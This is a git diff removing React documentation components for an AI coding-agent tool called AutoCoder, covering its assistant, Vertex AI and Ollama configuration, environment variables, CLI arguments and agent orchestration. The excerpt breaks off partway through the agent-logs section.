||||
keywords: ['install', 'setup', 'start', 'begin', 'new', 'requirements', 'prerequisites'],
|
||||
},
|
||||
{
|
||||
id: 'app-spec-setup',
|
||||
title: 'App Spec & Project Setup',
|
||||
icon: FileText,
|
||||
subsections: [
|
||||
{ id: 'what-is-app-spec', title: 'What is an App Spec?' },
|
||||
{ id: 'creating-spec-with-claude', title: 'Creating a Spec with Claude' },
|
||||
{ id: 'writing-spec-manually', title: 'Writing a Spec Manually' },
|
||||
{ id: 'initializer-agent', title: 'The Initializer Agent' },
|
||||
{ id: 'starting-after-spec', title: 'Starting After Spec Creation' },
|
||||
],
|
||||
keywords: ['spec', 'specification', 'xml', 'app_spec', 'initializer', 'prompt', 'template'],
|
||||
},
|
||||
{
|
||||
id: 'project-structure',
|
||||
title: 'Target Project Structure',
|
||||
icon: FolderTree,
|
||||
subsections: [
|
||||
{ id: 'autocoder-directory', title: '.autocoder/ Directory Layout' },
|
||||
{ id: 'features-db', title: 'Features Database' },
|
||||
{ id: 'prompts-directory', title: 'Prompts Directory' },
|
||||
{ id: 'allowed-commands-yaml', title: 'Allowed Commands Config' },
|
||||
{ id: 'claude-md', title: 'CLAUDE.md Convention' },
|
||||
{ id: 'legacy-migration', title: 'Legacy Layout Migration' },
|
||||
{ id: 'claude-inheritance', title: 'Claude Inheritance' },
|
||||
],
|
||||
keywords: ['folder', 'directory', 'structure', 'layout', 'files', 'database', 'sqlite', 'migration'],
|
||||
},
|
||||
{
|
||||
id: 'features-kanban',
|
||||
title: 'Features & Kanban Board',
|
||||
icon: LayoutGrid,
|
||||
subsections: [
|
||||
{ id: 'kanban-overview', title: 'Kanban Board Overview' },
|
||||
{ id: 'feature-cards', title: 'Feature Cards' },
|
||||
{ id: 'dependency-graph', title: 'Dependency Graph View' },
|
||||
{ id: 'adding-features', title: 'Adding Features' },
|
||||
{ id: 'editing-features', title: 'Editing & Deleting Features' },
|
||||
{ id: 'feature-dependencies', title: 'Feature Dependencies' },
|
||||
{ id: 'expanding-with-ai', title: 'Expanding Project with AI' },
|
||||
{ id: 'feature-priority', title: 'Priority & Ordering' },
|
||||
],
|
||||
keywords: ['kanban', 'board', 'feature', 'card', 'dependency', 'graph', 'priority', 'pending', 'progress', 'done'],
|
||||
},
|
||||
{
|
||||
id: 'agent-system',
|
||||
title: 'Agent System',
|
||||
icon: Bot,
|
||||
subsections: [
|
||||
{ id: 'maestro-orchestrator', title: 'Maestro: The Orchestrator' },
|
||||
{ id: 'coding-agents', title: 'Coding Agents' },
|
||||
{ id: 'testing-agents', title: 'Testing Agents' },
|
||||
{ id: 'agent-lifecycle', title: 'Agent Lifecycle' },
|
||||
{ id: 'concurrency', title: 'Concurrency Control' },
|
||||
{ id: 'mission-control', title: 'Agent Mission Control' },
|
||||
{ id: 'agent-mascots', title: 'Agent Mascots & States' },
|
||||
{ id: 'agent-logs', title: 'Viewing Agent Logs' },
|
||||
{ id: 'process-limits', title: 'Process Limits' },
|
||||
],
|
||||
keywords: ['agent', 'maestro', 'orchestrator', 'coding', 'testing', 'parallel', 'concurrency', 'mascot', 'spark', 'fizz', 'octo', 'batch'],
|
||||
},
|
||||
{
|
||||
id: 'settings-config',
|
||||
title: 'Settings & Configuration',
|
||||
icon: Settings,
|
||||
subsections: [
|
||||
{ id: 'opening-settings', title: 'Opening Settings' },
|
||||
{ id: 'yolo-mode', title: 'YOLO Mode' },
|
||||
{ id: 'headless-browser', title: 'Headless Browser' },
|
||||
{ id: 'model-selection', title: 'Model Selection' },
|
||||
{ id: 'regression-agents', title: 'Regression Agents' },
|
||||
{ id: 'features-per-agent', title: 'Features per Agent (Batch Size)' },
|
||||
{ id: 'concurrency-setting', title: 'Concurrency' },
|
||||
{ id: 'settings-persistence', title: 'How Settings are Persisted' },
|
||||
],
|
||||
keywords: ['settings', 'config', 'yolo', 'headless', 'model', 'opus', 'sonnet', 'haiku', 'batch', 'regression'],
|
||||
},
|
||||
{
|
||||
id: 'developer-tools',
|
||||
title: 'Developer Tools',
|
||||
icon: Terminal,
|
||||
subsections: [
|
||||
{ id: 'debug-panel', title: 'Debug Panel' },
|
||||
{ id: 'agent-logs-tab', title: 'Agent Logs Tab' },
|
||||
{ id: 'dev-server-logs', title: 'Dev Server Logs Tab' },
|
||||
{ id: 'terminal', title: 'Terminal' },
|
||||
{ id: 'dev-server-control', title: 'Dev Server Control' },
|
||||
{ id: 'per-agent-logs', title: 'Per-Agent Logs' },
|
||||
],
|
||||
keywords: ['debug', 'terminal', 'logs', 'dev server', 'console', 'xterm', 'shell'],
|
||||
},
|
||||
{
|
||||
id: 'ai-assistant',
|
||||
title: 'AI Assistant',
|
||||
icon: MessageSquare,
|
||||
subsections: [
|
||||
{ id: 'what-is-assistant', title: 'What is the Assistant?' },
|
||||
{ id: 'opening-assistant', title: 'Opening the Assistant' },
|
||||
{ id: 'assistant-capabilities', title: 'What It Can Do' },
|
||||
{ id: 'assistant-limitations', title: 'What It Cannot Do' },
|
||||
{ id: 'conversation-history', title: 'Conversation History' },
|
||||
],
|
||||
keywords: ['assistant', 'ai', 'chat', 'help', 'question', 'conversation'],
|
||||
},
|
||||
{
|
||||
id: 'scheduling',
|
||||
title: 'Scheduling',
|
||||
icon: Clock,
|
||||
subsections: [
|
||||
{ id: 'what-scheduling-does', title: 'What Scheduling Does' },
|
||||
{ id: 'creating-schedule', title: 'Creating a Schedule' },
|
||||
{ id: 'schedule-settings', title: 'Schedule Settings' },
|
||||
{ id: 'schedule-overrides', title: 'Schedule Overrides' },
|
||||
{ id: 'crash-recovery', title: 'Crash Recovery' },
|
||||
],
|
||||
keywords: ['schedule', 'timer', 'automated', 'cron', 'run', 'recurring', 'utc'],
|
||||
},
|
||||
{
|
||||
id: 'appearance-themes',
|
||||
title: 'Appearance & Themes',
|
||||
icon: Palette,
|
||||
subsections: [
|
||||
{ id: 'themes-overview', title: 'Themes Overview' },
|
||||
{ id: 'dark-light-mode', title: 'Dark & Light Mode' },
|
||||
{ id: 'theme-selector', title: 'Theme Selector' },
|
||||
{ id: 'keyboard-shortcuts', title: 'Keyboard Shortcuts' },
|
||||
],
|
||||
keywords: ['theme', 'dark', 'light', 'color', 'appearance', 'twitter', 'claude', 'neo', 'brutalism', 'retro', 'aurora', 'business', 'keyboard', 'shortcut'],
|
||||
},
|
||||
{
|
||||
id: 'security',
|
||||
title: 'Security',
|
||||
icon: Shield,
|
||||
subsections: [
|
||||
{ id: 'command-validation', title: 'Command Validation Overview' },
|
||||
{ id: 'command-hierarchy', title: 'Command Hierarchy' },
|
||||
{ id: 'hardcoded-blocklist', title: 'Hardcoded Blocklist' },
|
||||
{ id: 'global-allowlist', title: 'Global Allowlist' },
|
||||
{ id: 'project-allowlist', title: 'Per-Project Allowed Commands' },
|
||||
{ id: 'org-config', title: 'Organization Configuration' },
|
||||
{ id: 'extra-read-paths', title: 'Extra Read Paths' },
|
||||
{ id: 'filesystem-sandboxing', title: 'Filesystem Sandboxing' },
|
||||
],
|
||||
keywords: ['security', 'sandbox', 'allowlist', 'blocklist', 'command', 'bash', 'permission', 'filesystem'],
|
||||
},
|
||||
{
|
||||
id: 'advanced-config',
|
||||
title: 'Advanced Configuration',
|
||||
icon: Wrench,
|
||||
subsections: [
|
||||
{ id: 'vertex-ai', title: 'Vertex AI Setup' },
|
||||
{ id: 'ollama', title: 'Ollama Local Models' },
|
||||
{ id: 'env-variables', title: 'Environment Variables' },
|
||||
{ id: 'cli-arguments', title: 'CLI Arguments' },
|
||||
{ id: 'webhooks', title: 'Webhook Support' },
|
||||
{ id: 'project-registry', title: 'Project Registry' },
|
||||
],
|
||||
keywords: ['vertex', 'gcloud', 'ollama', 'local', 'env', 'environment', 'cli', 'webhook', 'n8n', 'registry', 'api'],
|
||||
},
|
||||
{
|
||||
id: 'faq',
|
||||
title: 'FAQ & Troubleshooting',
|
||||
icon: HelpCircle,
|
||||
subsections: [
|
||||
{ id: 'faq-new-project', title: 'Starting a New Project' },
|
||||
{ id: 'faq-existing-project', title: 'Adding to Existing Project' },
|
||||
{ id: 'faq-agent-crash', title: 'Agent Crashes' },
|
||||
{ id: 'faq-custom-commands', title: 'Custom Bash Commands' },
|
||||
{ id: 'faq-blocked-features', title: 'Blocked Features' },
|
||||
{ id: 'faq-parallel', title: 'Running in Parallel' },
|
||||
{ id: 'faq-local-model', title: 'Using Local Models' },
|
||||
{ id: 'faq-reset', title: 'Resetting a Project' },
|
||||
{ id: 'faq-agent-types', title: 'Coding vs Testing Agents' },
|
||||
{ id: 'faq-real-time', title: 'Monitoring in Real Time' },
|
||||
],
|
||||
keywords: ['faq', 'troubleshoot', 'help', 'problem', 'issue', 'fix', 'error', 'stuck', 'reset', 'crash'],
|
||||
},
|
||||
]
|
||||
@@ -1,75 +0,0 @@
|
||||
/**
|
||||
* AIAssistant Documentation Section
|
||||
*
|
||||
* Covers the project assistant: what it is, how to open it,
|
||||
* its capabilities and limitations, and conversation history.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
export function AIAssistant() {
|
||||
return (
|
||||
<div>
|
||||
{/* What is the Assistant? */}
|
||||
<h3 id="what-is-assistant" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
What is the Assistant?
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-4">
|
||||
The AI Assistant is a read-only project helper that can answer questions about your project, search
|
||||
code, view progress, and help you understand what’s happening — without making any changes.
|
||||
</p>
|
||||
|
||||
{/* Opening the Assistant */}
|
||||
<h3 id="opening-assistant" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Opening the Assistant
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Press <Badge variant="secondary">A</Badge> to toggle the assistant panel
|
||||
</li>
|
||||
<li>Or click the floating action button (chat bubble) in the bottom-right corner</li>
|
||||
<li>The panel slides in from the right side</li>
|
||||
</ul>
|
||||
|
||||
{/* What It Can Do */}
|
||||
<h3 id="assistant-capabilities" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
What It Can Do
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Read and search your project’s source code</li>
|
||||
<li>Answer questions about code architecture and implementation</li>
|
||||
<li>View feature progress and status</li>
|
||||
<li>Create new features based on your description</li>
|
||||
<li>Explain what agents have done or are currently doing</li>
|
||||
<li>Help debug issues by analyzing code and logs</li>
|
||||
</ul>
|
||||
|
||||
{/* What It Cannot Do */}
|
||||
<h3 id="assistant-limitations" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
What It Cannot Do
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Modify files (read-only access)</li>
|
||||
<li>Run bash commands</li>
|
||||
<li>Mark features as passing/failing</li>
|
||||
<li>Start or stop agents</li>
|
||||
<li>Access external APIs or the internet</li>
|
||||
</ul>
|
||||
<div className="border-l-4 border-primary pl-4 italic text-muted-foreground mt-4">
|
||||
This is a deliberate security design — the assistant is a safe way to interact with your project
|
||||
without risk of unintended changes.
|
||||
</div>
|
||||
|
||||
{/* Conversation History */}
|
||||
<h3 id="conversation-history" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Conversation History
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Conversations are stored per-project in SQLite database</li>
|
||||
<li>Multiple conversations supported — start new ones as needed</li>
|
||||
<li>Switch between conversations using the conversation selector</li>
|
||||
<li>History persists across browser sessions</li>
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,220 +0,0 @@
|
||||
/**
|
||||
* AdvancedConfig Documentation Section
|
||||
*
|
||||
* Covers Vertex AI setup, Ollama local models, environment variables,
|
||||
* CLI arguments, webhook support, and the project registry.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
/** Environment variable descriptor for the reference table. */
|
||||
interface EnvVar {
|
||||
name: string
|
||||
description: string
|
||||
}
|
||||
|
||||
const ENV_VARS: EnvVar[] = [
|
||||
{ name: 'CLAUDE_CODE_USE_VERTEX', description: 'Enable Vertex AI (1)' },
|
||||
{ name: 'CLOUD_ML_REGION', description: 'GCP region' },
|
||||
{ name: 'ANTHROPIC_VERTEX_PROJECT_ID', description: 'GCP project ID' },
|
||||
{ name: 'ANTHROPIC_BASE_URL', description: 'Custom API base URL (for Ollama)' },
|
||||
{ name: 'ANTHROPIC_AUTH_TOKEN', description: 'API auth token' },
|
||||
{ name: 'API_TIMEOUT_MS', description: 'API timeout in milliseconds' },
|
||||
{ name: 'EXTRA_READ_PATHS', description: 'Comma-separated extra read directories' },
|
||||
{ name: 'ANTHROPIC_DEFAULT_OPUS_MODEL', description: 'Override Opus model name' },
|
||||
{ name: 'ANTHROPIC_DEFAULT_SONNET_MODEL', description: 'Override Sonnet model name' },
|
||||
{ name: 'ANTHROPIC_DEFAULT_HAIKU_MODEL', description: 'Override Haiku model name' },
|
||||
]
|
||||
|
||||
/** CLI argument descriptor for the reference table. */
|
||||
interface CliArg {
|
||||
name: string
|
||||
description: string
|
||||
}
|
||||
|
||||
const CLI_ARGS: CliArg[] = [
|
||||
{ name: '--project-dir', description: 'Project directory path or registered name' },
|
||||
{ name: '--yolo', description: 'Enable YOLO mode' },
|
||||
{ name: '--parallel', description: 'Enable parallel mode' },
|
||||
{ name: '--max-concurrency N', description: 'Max concurrent agents (1-5)' },
|
||||
{ name: '--batch-size N', description: 'Features per coding agent (1-3)' },
|
||||
{ name: '--batch-features 1,2,3', description: 'Specific feature IDs to implement' },
|
||||
{ name: '--testing-batch-size N', description: 'Features per testing batch (1-5)' },
|
||||
{ name: '--testing-batch-features 1,2,3', description: 'Specific testing feature IDs' },
|
||||
]
|
||||
|
||||
export function AdvancedConfig() {
|
||||
return (
|
||||
<div>
|
||||
{/* Vertex AI Setup */}
|
||||
<h3 id="vertex-ai" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Vertex AI Setup
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Run coding agents via Google Cloud Vertex AI:
|
||||
</p>
|
||||
<ol className="list-decimal space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Install and authenticate the gcloud CLI:{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
gcloud auth application-default login
|
||||
</span>
|
||||
</li>
|
||||
<li>
|
||||
Configure your{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.env</span> file:
|
||||
</li>
|
||||
</ol>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm mt-3">
|
||||
<pre><code>{`CLAUDE_CODE_USE_VERTEX=1
|
||||
CLOUD_ML_REGION=us-east5
|
||||
ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-5@20251101
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022`}</code></pre>
|
||||
</div>
|
||||
<blockquote className="border-l-4 border-primary pl-4 italic text-muted-foreground mt-4">
|
||||
Use <span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono not-italic">@</span>{' '}
|
||||
instead of <span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono not-italic">-</span>{' '}
|
||||
in model names for Vertex AI.
|
||||
</blockquote>
|
||||
|
||||
{/* Ollama Local Models */}
|
||||
<h3 id="ollama" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Ollama Local Models
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Run coding agents using local models via Ollama v0.14.0+:
|
||||
</p>
|
||||
<ol className="list-decimal space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Install Ollama from{' '}
|
||||
<a href="https://ollama.com" target="_blank" rel="noreferrer" className="text-primary underline">
|
||||
ollama.com
|
||||
</a>
|
||||
</li>
|
||||
<li>
|
||||
Start Ollama:{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">ollama serve</span>
|
||||
</li>
|
||||
<li>
|
||||
Pull a coding model:{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">ollama pull qwen3-coder</span>
|
||||
</li>
|
||||
<li>
|
||||
Configure your{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.env</span>:
|
||||
</li>
|
||||
</ol>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm mt-3">
|
||||
<pre><code>{`ANTHROPIC_BASE_URL=http://localhost:11434
|
||||
ANTHROPIC_AUTH_TOKEN=ollama
|
||||
API_TIMEOUT_MS=3000000
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=qwen3-coder`}</code></pre>
|
||||
</div>
|
||||
<p className="text-muted-foreground mt-3">
|
||||
<strong className="text-foreground">Recommended models:</strong>{' '}
|
||||
<Badge variant="secondary">qwen3-coder</Badge>{' '}
|
||||
<Badge variant="secondary">deepseek-coder-v2</Badge>{' '}
|
||||
<Badge variant="secondary">codellama</Badge>
|
||||
</p>
|
||||
<p className="text-muted-foreground mt-2">
|
||||
<strong className="text-foreground">Limitations:</strong> Smaller context windows than Claude
|
||||
(model-dependent), extended context beta disabled (not supported by Ollama), and performance
|
||||
depends on local hardware (GPU recommended).
|
||||
</p>
|
||||
|
||||
{/* Environment Variables */}
|
||||
<h3 id="env-variables" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Environment Variables
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Key environment variables for configuring AutoCoder:
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Variable
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Description
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
{ENV_VARS.map((v) => (
|
||||
<tr key={v.name}>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">{v.name}</span>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">{v.description}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
{/* CLI Arguments */}
|
||||
<h3 id="cli-arguments" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
CLI Arguments
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Command-line arguments for{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
autonomous_agent_demo.py
|
||||
</span>
|
||||
:
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Argument
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Description
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
{CLI_ARGS.map((arg) => (
|
||||
<tr key={arg.name}>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">{arg.name}</span>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">{arg.description}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
{/* Webhook Support */}
|
||||
<h3 id="webhooks" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Webhook Support
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>AutoCoder can send webhook notifications on feature completion</li>
|
||||
<li>Compatible with N8N and similar automation tools</li>
|
||||
<li>Configure the webhook URL in project settings</li>
|
||||
<li>
|
||||
Payload includes: feature name, status, and project info
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Project Registry */}
|
||||
<h3 id="project-registry" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Project Registry
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
All projects are registered in{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">~/.autocoder/registry.db</span>{' '}
|
||||
(SQLite)
|
||||
</li>
|
||||
<li>Maps project names to filesystem paths</li>
|
||||
<li>Uses POSIX path format (forward slashes) for cross-platform compatibility</li>
|
||||
<li>SQLAlchemy ORM with SQLite's built-in transaction handling</li>
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,280 +0,0 @@
|
||||
/**
|
||||
* AgentSystem Documentation Section
|
||||
*
|
||||
* Covers the orchestrator (Maestro), coding agents, testing agents,
|
||||
* agent lifecycle, concurrency control, mission control dashboard,
|
||||
* agent mascots and states, viewing logs, and process limits.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
export function AgentSystem() {
|
||||
return (
|
||||
<div>
|
||||
{/* Maestro: The Orchestrator */}
|
||||
<h3 id="maestro-orchestrator" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Maestro: The Orchestrator
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Maestro is the central orchestrator that coordinates all agents. It acts as the conductor,
|
||||
ensuring features are implemented efficiently and in the correct order.
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Manages the full lifecycle of coding and testing agents</li>
|
||||
<li>Schedules which features to work on based on dependencies and priority</li>
|
||||
<li>Monitors agent health and restarts crashed agents automatically</li>
|
||||
<li>Reports status to the UI in real time via WebSocket</li>
|
||||
</ul>
|
||||
|
||||
{/* Coding Agents */}
|
||||
<h3 id="coding-agents" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Coding Agents
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Implement features one at a time, or in batches of 1–3</li>
|
||||
<li>
|
||||
Claim features atomically via the{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
feature_claim_and_get
|
||||
</span>{' '}
|
||||
MCP tool — no two agents work on the same feature
|
||||
</li>
|
||||
<li>Run in isolated environments with their own browser context</li>
|
||||
<li>
|
||||
Use the Claude Code SDK with project-specific tools and{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">CLAUDE.md</span>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Testing Agents */}
|
||||
<h3 id="testing-agents" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Testing Agents
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Run regression tests after features are implemented</li>
|
||||
<li>Verify that new code does not break existing features</li>
|
||||
<li>Configurable ratio: 0–3 testing agents per coding agent</li>
|
||||
<li>Can batch-test multiple features per session (1–5)</li>
|
||||
</ul>
|
||||
|
||||
{/* Agent Lifecycle */}
|
||||
<h3 id="agent-lifecycle" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Agent Lifecycle
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Agents are controlled through the UI or CLI. The lifecycle states are:
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Action
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Behavior
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2 font-medium">Start</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
Click the Play button or run the CLI command
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2 font-medium">Stop</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
Gracefully terminates all running agents
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2 font-medium">Pause</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
Temporarily halts work (agents finish their current task first)
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2 font-medium">Resume</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
Continues from where the agents were paused
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p className="text-muted-foreground mt-3">
|
||||
Agents auto-continue between sessions with a 3-second delay, so they keep working until
|
||||
all features are complete or they are explicitly stopped.
|
||||
</p>
|
||||
|
||||
{/* Concurrency Control */}
|
||||
<h3 id="concurrency" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Concurrency Control
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
A slider in the agent control bar sets the number of concurrent coding agents
|
||||
(1–5)
|
||||
</li>
|
||||
<li>
|
||||
More agents means faster progress, but also higher API usage
|
||||
</li>
|
||||
<li>Each agent runs as an independent subprocess</li>
|
||||
<li>
|
||||
Feature claiming is atomic — no two agents will ever work on the same feature
|
||||
simultaneously
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Agent Mission Control */}
|
||||
<h3 id="mission-control" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Agent Mission Control
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
The Mission Control dashboard provides a real-time overview of all active agents:
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Active agent cards with mascot icons and current status</li>
|
||||
<li>The feature each agent is currently working on</li>
|
||||
<li>Agent state indicators (thinking, working, testing, etc.)</li>
|
||||
<li>Orchestrator status and a recent activity feed</li>
|
||||
</ul>
|
||||
|
||||
{/* Agent Mascots & States */}
|
||||
<h3 id="agent-mascots" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Agent Mascots & States
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Each agent is assigned a unique mascot for easy identification:{' '}
|
||||
<strong className="text-foreground">Spark</strong>,{' '}
|
||||
<strong className="text-foreground">Fizz</strong>,{' '}
|
||||
<strong className="text-foreground">Octo</strong>,{' '}
|
||||
<strong className="text-foreground">Hoot</strong>,{' '}
|
||||
<strong className="text-foreground">Buzz</strong>, and more. Agent states include:
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
State
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Animation
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Description
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="secondary">Thinking</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Bouncing</td>
|
||||
<td className="border border-border px-3 py-2">Agent is planning its approach</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="secondary">Working</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Shake</td>
|
||||
<td className="border border-border px-3 py-2">Actively writing code</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="secondary">Testing</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Rotating</td>
|
||||
<td className="border border-border px-3 py-2">Running tests</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="default">Success</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Celebration</td>
|
||||
<td className="border border-border px-3 py-2">Feature completed</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="destructive">Error</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Red shake</td>
|
||||
<td className="border border-border px-3 py-2">Encountered an issue</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="outline">Struggling</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Concerned expression</td>
|
||||
<td className="border border-border px-3 py-2">Multiple consecutive failures</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
{/* Viewing Agent Logs */}
|
||||
<h3 id="agent-logs" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Viewing Agent Logs
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Click any agent card in Mission Control to see its log output</li>
|
||||
<li>Logs are color-coded by level (info, warning, error)</li>
|
||||
<li>Output streams in real time via WebSocket</li>
|
||||
